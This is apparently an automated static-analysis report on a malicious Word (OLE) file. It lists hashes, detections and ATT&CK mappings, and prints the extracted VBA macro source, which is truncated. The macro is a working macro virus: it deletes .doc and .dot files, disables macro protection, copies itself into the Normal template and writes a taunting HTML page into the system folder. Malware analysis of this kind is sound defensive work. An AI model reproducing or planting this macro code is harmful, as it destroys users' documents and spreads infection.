Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 73d2e9cc6eb9cd29…

MALICIOUS

Office (OLE)

37.5 KB Created: 2001-04-25 20:03:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 5e6374834f62147ce882b656b035cf93 SHA-1: 5493f87385cfe00efd392cced1ac9e77a2be02ea SHA-256: 73d2e9cc6eb9cd29b9543556a7175145359b25c4d67cf34e9a41c778f47697ee
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, with a specific 'Document_Open' subroutine that is triggered upon opening the document. This macro attempts to modify application settings and potentially execute further malicious code. The presence of the 'Doc.Trojan.Marker-29' ClamAV detection strongly indicates malicious intent, likely involving the download and execution of a secondary payload.

Heuristics 3

  • ClamAV: Doc.Trojan.Marker-29 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-29
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 21350 bytes
SHA-256: 87e981cd992b45acbacf7e957d09c989bea42c005b469fb9254e245f222e034a
Detection
ClamAV: Doc.Trojan.Marker-29
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Const Marker = "<- Win9X SuX.. LiNuX SuX... Use UniX"
Private Sub Document_Open()
Document_Close
End Sub
Private Sub Document_Close()
Dim nmod As Object
Dim isd As String
Dim DS, NTS, DI, NTI As Boolean
Dim Bia, Users, LogData, LogFile As String
On Error Resume Next
AddIns.Unload True
Kill Options.DefaultFilePath(8) & "\*.doc"
Kill Options.DefaultFilePath(8) & "\*.dot"
Options.VirusProtection = False
Application.UserName = "fayer"
Application.UserInitials = "Aa"
Application.UserAddress = "aku@tanak-cakap.com"
With Dialogs(wdDialogFileSummaryInfo)
    .Author = "fayer a.k.a skyline-"
    .Title = "Bi'a, Mat-Kot, Sopi, Shah <- 013-4034031"
    .Subject = "Buat la assignment bebaik..<--pesanan dari Ein"
    .Comments = "Greetings to #ITnet members, biolator, VeRvE^, A||MyLife, ^bLenDy^ and all DALNet peoples...i Hate u All :)"
    .Keywords = "Greetings to #ITnet members, biolator, VeRvE^ and all DALNet peoples...i Hate u All :)"
    .Execute
End With
Application.EnableCancelKey = wdCancelDisabled
GoSub InsertIon
If (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", _
   "LogData in") = False) Then GoSub LoggingIn
If WeekDay(Now()) = 1 Then GoSub ShowMe
GoTo Finish
InsertIon:
Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
Set NT = NormalTemplate.VBProject.VBComponents.Item(1)
DI = AD.codemodule.Find(Marker, 1, 1, 10000, 10000)
NTI = NT.codemodule.Find(Marker, 1, 1, 10000, 10000)
If (DI Xor NTI) And (ActiveDocument.SaveFormat = wdFormatDocument Or ActiveDocument.SaveFormat = wdFormatTemplate) Then
 If DI Then
   NTS = NormalTemplate.Saved
   Bia = AD.codemodule.Lines(1, AD.codemodule.CountOfLines)
   For i = 1 To Len(Application.UserAddress)
    If (Mid(Application.UserAddress, i, 1) <> Chr(13)) Then
       If (Mid(Application.UserAddress, i, 1) <> Chr(10)) Then
          Users = Users & Mid(Application.UserAddress, i, 1)
       End If
    Else
       Users = Users & Chr(13) & " '"
    End If
   Next
   Bia = Bia & Chr(13) & _
         "' " & Format(Time, "hh:mm:sc AMPM-") & _
                Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
         "' " & Application.UserName & Chr(13) & _
         "' " & Users & Chr(13) & Chr(13) & " "
   NT.codemodule.deletelines 1, NT.codemodule.CountOfLines
   NT.codemodule.AddFromString Bia
   If NTS Then NormalTemplate.Save
 End If
 If NTI Then
    DS = ActiveDocument.Saved
    Bia = NT.codemodule.Lines(1, NT.codemodule.CountOfLines)
    AD.codemodule.deletelines 1, AD.codemodule.CountOfLines
    AD.codemodule.AddFromString Bia
    If DS Then ActiveDocument.Save
 End If
End If
Return
LoggingIn:
   System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogData in") = True
   GoSub ShowMe
Return
ShowMe:
Dim Tandop As String
On Error Resume Next
 Tandop = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "SystemRoot")
 Open Tandop & "\playa.html" For Output As #1
 Print #1, "<Html><head><title>School of Malaysian Network..</title></head><Body><body bgcolor = '#000000' >"
 Print #1, "<b><FONT COLOR='#ffffff'><p>W3lc0m3 t0 M4l4ys14n N3tw0rk….. (greetings to all DALnet Member… #ITnet, #IPT</p>"
 Print #1, "<P>Dan channel channel yang bersekongkol...</P>"
 Print #1, "<P>0ur T0p1c… why *.my D0m41ns 4r3 SuX??</P>"
 Print #1, "</FONT><FONT FACE="; Bookman; Old; Style; " COLOR='#ffffff'><P>1 w1sh 1 c4n b3 4 syst3m 4dm1n…</P>"
 Print #1, "<P>1 w1sh 1 c4n b3 n3tw0rk 4dm1n…</P>"
 Print #1, "<P>1 w1sh 1 c4n b3 4 s0ftw4r3 pr0gr4mm3r…</P>"
 Print #1, "<P>1 w1sh 1 c4n b3 'P4g4r B1ll'….</P>"
 Print #1, "<P>1 w1sh 1 c4n b3 Th3 R0ck….</P>"
 Print #1, "<P>1 w1sh 1 c4n b3 S1t1 Nurh4l1z4 b0yfr13nd…</P>"
 Print #1, "<P>1 w1sh 1 c4n h4v3 d1
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.